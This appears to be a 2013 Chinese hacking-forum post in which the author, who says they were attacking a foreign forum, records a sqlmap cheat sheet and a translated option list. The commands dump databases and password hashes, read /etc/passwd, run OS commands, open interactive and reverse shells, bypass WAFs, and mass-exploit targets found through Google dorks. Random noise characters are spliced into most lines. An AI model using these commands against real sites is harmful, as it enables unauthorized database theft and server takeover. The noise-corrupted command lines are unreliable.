找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2673|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、7 K3 c0 T5 v8 K3 Q3 {. w+ |
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
  M# O2 |9 f$ Z; s( L' Rsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
: A' b: c) |! G; N. o1 o: B8 ]sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
! B; |& n( W  W, l  T/ a2 I; u; g9 j7 Q 4 g* {6 X& o+ k" B3 u
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
) l$ E: p7 Q, F: w8 _4 v0 #获取字段内容6 a, b' T9 S; T7 d5 A
8 ?5 ~: Q$ |3 o9 \( y6 c4 `
******************信息获取******************
, h  t2 K8 f8 L) Q- `9 z8 tsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
" N; l/ {- L7 ~* L5 Ysqlmap -u “http://url/news?id=1″ –users #列数据库用户
4 v/ R: ^2 I: m1 z2 ~: O; [' isqlmap -u “http://url/news?id=1″ –dbs#列数据库6 E6 n" I/ i  p2 \
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码3 r4 @. m& ^. v5 X
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码1 N0 x! h7 B& \, H, ^) \
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
# s6 d$ T. `' Y, D–start 1 –stop 20 #列出指定字段,列出20 条& n. ^7 o: X/ O+ Z- a: P, v
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表7 j$ F$ V0 d: L0 J5 M0 C9 z" \
sqlmap -u “http://url/news?id=1″ –privileges #查看权限. \( n5 Z# F. \0 u. {3 V
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
1 G$ k+ T. A+ s: A' K* C: R2 xsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
+ J+ ?. G" j; H9 dsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表1 d$ p' P* F4 |' L1 T$ }
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
3 s/ K5 v/ C! ~1 w& B# wsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入. q2 f* [1 B. S0 Z9 }/ M) E
sqlmap -u “http://url/news?id=1″-b #获取banner信息
* w- j, X+ D: Q/ k0 r! @+ Z+ ?sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入: R" \( v) A# O8 P- E7 r! x0 \# P
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型1 b8 H5 ?( `$ c% F
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
6 I+ o3 M& G- G& X9 t7 Qsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
: \2 m9 r! y- y1 J9 V# o' k% ^5 U# hsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
6 {3 C. s8 u) `& Usqlmap -u “http://url/news?id=1″ –file /etc/passwd* C- @$ t: Z- x' h; t. B
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
. v% s6 Z% e( f2 A* V/ E9 z* Tsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
( h  q. }3 @' ^! X: i6 `5 Ysqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表0 F6 f6 [; N. k5 _/ d& z" \8 I
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
* ?' e6 k. F, \0 s" z& }1 X* S* Zsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度) X, o* Q% i+ m+ L- G
***********高级用法*************
2 V; f3 a, a% j2 T( s) X-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入, M; {; Q2 `1 `5 c
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问3 ~( x  q( p. s) ^) G
–technique   测试指定注入类型\使用的技术: G8 M1 j, T: H( B  p) ]
不加参数默认测试所有注入技术
2 H; ^: ], y8 R8 O% p: O  X2 y9 ?•     B: 基于布尔的SQL 盲注
6 n: z4 Q5 L$ M; A% i2 J4 z•     E: 基于显错sql 注入
% `- Q' [) Y1 x•     U: 基于UNION 注入$ W4 G- E) {" y& d0 q0 v
•     S: 叠层sql 注入8 D0 Z1 |: g; S* x, [; G
•     T: 基于时间盲注
4 H( ]& v( f6 g–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
1 l9 Q& @+ N% T( Y–tamper 插件所在目录
8 n3 _! ]5 z1 P3 E\sqlmap-dev\tamper  g) S' B9 v- y7 _" }$ V" m* v0 V% W
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能9 Y$ K7 l. w& @5 }6 w5 i5 f
level 执行测试等级 攻击实例:/ O! w6 C$ y' K
Sqlmap -u “http://url/news?id=1&Submit=Submit”) p: a+ f( ~7 E3 P" r; ?
–cookie=”PHPSESSID=41aa833e6d0d
& M# }# j( C& n4 n' s28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user1 v/ s' c, W0 h; j% h
–password" O& n4 k  s8 _5 {4 s4 H
参考文档:http://sqlmap.sourceforge.net/doc/README.html
8 N8 f* d9 A' E# c" _***********安装最新版本*************
6 D0 B" N* K* G; ~, e4 y% uubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版9 n7 _  p) S5 r+ L
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev; P& t! k$ ~: k, l8 \, Z+ ^
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件9 S# G8 B" s/ _  `
sudo vim /home/当前用户/.bashrc
( E! f& k) ]2 U/ E" F#任意位置加上:
. l7 S; W' ]. v5 w+ W: |alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
; X& i# J! W! r" T) G如果想对所有用户有效 可设置全局 编辑下面的文件
+ S' {: R/ \& Vvim /etc/profile( t5 p2 h# G# y9 }
同样加上:
. d- ~8 e8 U# u' c! i! O* Ualias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
1 U7 {! K3 C" \0 M3 _, w  m2 y/ s******************windows 7 (x64) sqlmap install (SVN)************! Q6 L$ H) R. U) i+ p
http://www.python.org/getit/ 安装python
5 @  E9 q8 {# dhttp://www.sliksvn.com/en/download 安装windows svn client
5 G( t: O: M. R: I3 ]& N: ~' d' Asvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev% h2 B7 \7 x9 O; N
安装sqlmap
- e4 Q- o6 h1 O' l*修改环境变量
' O2 O! d) ]- u% I- h+ c( F3 O–version             显示程序的版本号并退出
  w2 [' {$ W/ A& @/ A-h, –help            显示此帮助消息并退出" `+ t) R, m* t/ x4 X
-v VERBOSE            详细级别:0-6(默认为1)* C6 W/ Y3 `3 u9 p. X9 w" `0 h+ ?
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。9 O8 n, s8 Z, G
-d DIRECT           直接连接到数据库。
) K4 N4 Y$ t# W9 I: f-u URL, –url=URL   目标URL。
; C  M7 ?# j" \; }2 X! ]-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
5 x( q7 i9 e( A  c# \6 E-r REQUESTFILE      从一个文件中载入HTTP 请求。
) ^, h! M+ {8 A8 \-g GOOGLEDORK       处理Google dork 的结果作为目标URL。5 P, m  e/ A( w4 o8 |0 u  h
-c CONFIGFILE       从INI 配置文件中加载选项。* Y4 g1 f: E: l7 O! B
Request(请求)::* B# n- |) }# g  c7 q
这些选项可以用来指定如何连接到目标URL。
/ M( V1 F8 T& O( X2 v5 a/ D–data=DATA         通过POST 发送的数据字符串: q/ V# d1 K+ W
–cookie=COOKIE     HTTP Cookie 头
4 A* N1 ?' J' ]; Z  [3 \, g–cookie-urlencode  URL 编码生成的cookie 注入
" s- D+ B2 m3 k. O' b0 H–drop-set-cookie   忽略响应的Set –Cookie 头信息9 x$ \6 T3 E- Z8 S0 P( i
2 J3 T/ `7 |5 N# z) U( z: a
–user-agent=AGENT  指定  HTTP User –Agent 头0 I& l7 e; e1 f  @) b+ t* Q$ |
–random-agent      使用随机选定的HTTP User –Agent 头) @  ]- r! O1 N( {' U. V  n
–referer=REFERER   指定  HTTP Referer 头
! N) @3 u# M3 a  A! B/ M- s, L5 t–headers=HEADERS   换行分开,加入其他的HTTP 头" J# p, H+ `, n
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)& X) d3 s; Q- T6 `7 n
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
4 v' H+ Q6 a& _$ K# l# k4 [1 Z! R: Y–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
  R) D: a( W+ s0 e–proxy=PROXY       使用HTTP 代理连接到目标URL
# s, c! x) w6 K" h% ^–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)/ Z8 f9 C' G3 @1 a8 I- e. D
–ignore-proxy      忽略系统默认的HTTP 代理4 @9 Q$ u( h* _/ d) O! x3 C
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒8 }/ q6 B; J! y7 C# A* W4 o% n
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
# X3 y9 G0 A% g/ U5 `; ?–retries=RETRIES   连接超时后重新连接的时间(默认3)
  A+ G/ X* f( E4 n, X- J–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
/ p9 \4 ^3 A7 F! N9 J–safe-url=SAFURL   在测试过程中经常访问的url 地址
3 d$ H& ^1 J# W: ~* e–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL" r' v( f# t/ `  |
Optimization(优化): 这些选项可用于优化SqlMap 的性能。8 l+ P  I5 p9 g3 v  y3 }
-o                  开启所有优化开关9 z3 b$ F0 z1 I- ^/ V( v7 o, f
–predict-output    预测常见的查询输出
% U/ D+ e* v/ i- K5 }–keep-alive        使用持久的HTTP(S)连接; _8 V% ?) P" |6 \  c
–null-connection   从没有实际的HTTP 响应体中检索页面长度
+ q0 z) F" c( n& C–threads=THREADS   最大的HTTP(S)请求并发量(默认为1): V8 |* w: S3 J& _! c! y: N
Injection(注入):+ m7 }, p5 v4 I# E  a! U
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
  u* Z/ E7 p* m* e9 H$ K% F: a6 C-p TESTPARAMETER    可测试的参数(S)
# x+ B2 k0 c& B0 H  d8 a4 ^–dbms=DBMS         强制后端的DBMS 为此值
) r- K+ F- ]) {& G# e–os=OS             强制后端的DBMS 操作系统为这个值
5 Y, G( `0 b9 f: _2 B$ @–prefix=PREFIX     注入payload 字符串前缀
7 `, @% ~7 s% d3 g–suffix=SUFFIX     注入 payload 字符串后缀
4 x' d/ ^6 Y  |4 y+ n( Y* w; Z–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
% _$ q; l( [; K  i/ UDetection(检测):0 N, @/ G' }" s
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
7 f8 T2 r' U' }–level=LEVEL       执行测试的等级(1-5,默认为1)  F1 w7 q9 Z7 ?. `$ b- H
–risk=RISK         执行测试的风险(0-3,默认为1)
0 G2 |5 ?4 D& F3 a–string=STRING     查询时有效时在页面匹配字符串8 K) i7 w0 h0 g. N/ ?( b
–regexp=REGEXP     查询时有效时在页面匹配正则表达式, i7 D. l* L! h  _! Y
–text-only         仅基于在文本内容比较网页0 Q. z0 z3 `+ |# }6 \2 U) }
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。( w+ J$ l6 e7 `
–technique=TECH    SQL 注入技术测试(默认BEUST)
0 a; _) F' n, `+ x; K–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
. H& T! O3 j+ O$ B# _$ Z–union-cols=UCOLS  定列范围用于测试UNION 查询注入+ t# h/ f  j1 m! v- Z
–union-char=UCHAR  用于暴力猜解列数的字符6 {5 i" x) P0 }6 y* I8 B
Fingerprint(指纹):
- t8 x1 x# J: j-f, –fingerprint     执行检查广泛的DBMS 版本指纹9 g/ W$ Z- q* s+ d0 n. }( J) u9 D
Enumeration(枚举):
+ S; F* m8 \* {8 B3 N( X* r  x
2 v& B7 B4 j/ B* M% A这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
4 W, q; u2 K2 q- i: z( N  G-b, –banner        检索数据库管理系统的标识4 e: E( x# ?: b, v4 t
–current-user      检索数据库管理系统当前用户: T' {  [. Q( l  n
–current-db        检索数据库管理系统当前数据库
% l* Q; C, F3 R; q# D" @  t: q& V–is-dba            检测DBMS 当前用户是否DBA
* z( u! j7 h' S* C7 G2 M) M–users             枚举数据库管理系统用户* z/ v) u1 x1 @% c) D: C4 k' t: U
–passwords         枚举数据库管理系统用户密码哈希
; M" m* K9 A8 a  o" o2 ?+ U–privileges        枚举数据库管理系统用户的权限
8 F# W6 L1 t$ T8 c7 W–roles             枚举数据库管理系统用户的角色
, g% p' x" ?3 d( N1 `, `7 A, x# k–dbs               枚举数据库管理系统数据库) J9 A& ?  B6 N$ @7 m, s
–tables            枚举的DBMS 数据库中的表
" L% g" B6 b6 [. b–columns           枚举DBMS 数据库表列
5 s) e. x" u) Z. ^–dump              转储数据库管理系统的数据库中的表项8 }$ p& s0 \2 p0 F  }
–dump-all          转储所有的DBMS 数据库表中的条目0 o/ I; `2 I; G" ~" W$ L
–search            搜索列(S),表(S)和/或数据库名称(S)  }7 g, F" U3 \0 W4 u' `' }
-D DB               要进行枚举的数据库名% S7 O9 X9 x+ g9 v
-T TBL              要进行枚举的数据库表
1 h* Q6 g/ i( x# T-C COL              要进行枚举的数据库列
" k9 p5 X* e- R7 `2 @-U USER             用来进行枚举的数据库用户
( @. ~# j1 @8 i$ v) d–exclude-sysdbs    枚举表时排除系统数据库
; m$ U; I5 @0 L9 w. ]* Z–start=LIMITSTART  第一个查询输出进入检索
2 C5 ?% W( H1 L–stop=LIMITSTOP    最后查询的输出进入检索
* T. n, L% J7 k2 d8 {% x8 ]–first=FIRSTCHAR   第一个查询输出字的字符检索/ J4 G& Q' o+ M. [
–last=LASTCHAR     最后查询的输出字字符检索+ ^+ F$ P3 c9 v& u+ _8 }
–sql-query=QUERY   要执行的SQL 语句- i6 J5 \* c# f
–sql-shell         提示交互式SQL 的shell
$ ~& y( u- `2 O& Q5 h: G6 V1 ?Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
. e( F- s  u& F9 N; A' ]( u–common-tables     检查存在共同表
7 d5 v3 |& P- ?: j–common-columns    检查存在共同列
- C: t0 z0 z) BUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
+ T+ _- ^' T1 ~) `2 c" I/ W7 }–udf-inject        注入用户自定义函数
3 ]1 k; [/ R  B' o- p  r–shared-lib=SHLIB  共享库的本地路径
. o: U+ H$ h4 x1 N- WFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。8 Z; ^( o* V  Q! F) p5 z5 v
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件# ^0 u, Q+ @8 g$ P: m9 D  ]$ T* F
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件; O5 ^+ [& _/ D  N8 F
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
  [9 L7 K* e, ~8 n5 R, POperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。* y: T+ X  }! s5 y2 O. ]( O
–os-cmd=OSCMD      执行操作系统命令. e+ R* G! k5 K
–os-shell          交互式的操作系统的shell
* J; R6 }# m. s–os-pwn            获取一个OOB shell,meterpreter 或VNC
6 h* c# N. P7 G" @. R/ ~–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
% k, B8 Y9 L# o% `9 v* @. ?–os-bof            存储过程缓冲区溢出利用$ P$ W0 J$ `+ U& H; ~
–priv-esc          数据库进程用户权限提升" C. I8 k- H! }1 K4 W/ G3 c+ u$ d! g( P9 a: g
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径* Q/ I/ U& s. O3 W1 B
–tmp-path=TMPPATH  远程临时文件目录的绝对路径
( r0 ~2 n% ?4 {: ~$ }
( q; s! Z6 p/ H4 a7 u& Z( c! [Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。4 z* l2 I' s# {# E+ }: ?
–reg-read          读一个Windows 注册表项值
9 g3 e' N' t6 v. E: a$ N" x–reg-add           写一个Windows 注册表项值数据! a5 ?1 \: f, Q
–reg-del           删除Windows 注册表键值
( W1 j1 I* K) i3 O/ K–reg-key=REGKEY    Windows 注册表键
9 f* z+ |' X; |  a–reg-value=REGVAL  Windows 注册表项值
! h4 L' C) r- Y) A6 ~–reg-data=REGDATA  Windows 注册表键值数据  w& G7 j1 P* C* e1 g
–reg-type=REGTYPE  Windows 注册表项值类型
5 G4 _, P- m% h! M8 A$ FGeneral(一般): 这些选项可以用来设置一些一般的工作参数。8 T$ i2 ]  ?$ s( y1 i$ q
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
- M) {0 l, n# n$ t% |6 ~* O-s SESSIONFILE      保存和恢复检索会话文件的所有数据
; {7 P( j; K- k–flush-session     刷新当前目标的会话文件
, V/ W0 v! _5 Q! ^0 N–fresh-queries     忽略在会话文件中存储的查询结果. q& E% k& i' \; B
–eta               显示每个输出的预计到达时间
5 f6 `  v. x" Z% G2 |' k–update            更新SqlMap
" n, h& b3 I% `: E7 ?–save              file 保存选项到INI 配置文件
$ f$ i, ~5 h; s8 }, ]. _–batch             从不询问用户输入,使用所有默认配置。
6 E6 N6 E! \4 A7 TMiscellaneous(杂项):
& j1 ?- h' P% \–beep              发现SQL 注入时提醒) y0 x* y9 n) l1 f$ U
–check-payload     IDS 对注入payloads 的检测测试. J! m& y0 `  f8 r0 v
–cleanup           SqlMap 具体的UDF 和表清理DBMS
; D; h8 x) W' u( D4 o) h& E) G! }–forms             对目标URL 的解析和测试形式
& V6 k/ K0 G2 b( z–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果) W( o; |) O& E
–page-rank         Google dork 结果显示网页排名(PR): ~$ V2 ]8 b& Z
–parse-errors      从响应页面解析数据库管理系统的错误消息
+ i2 {7 N8 l5 @' p9 |6 b+ B–replicate         复制转储的数据到一个sqlite3 数据库
! {5 a- w; @. V/ `6 ^5 A–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
. A  Y6 N0 }8 _6 X6 n, h6 r7 D–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表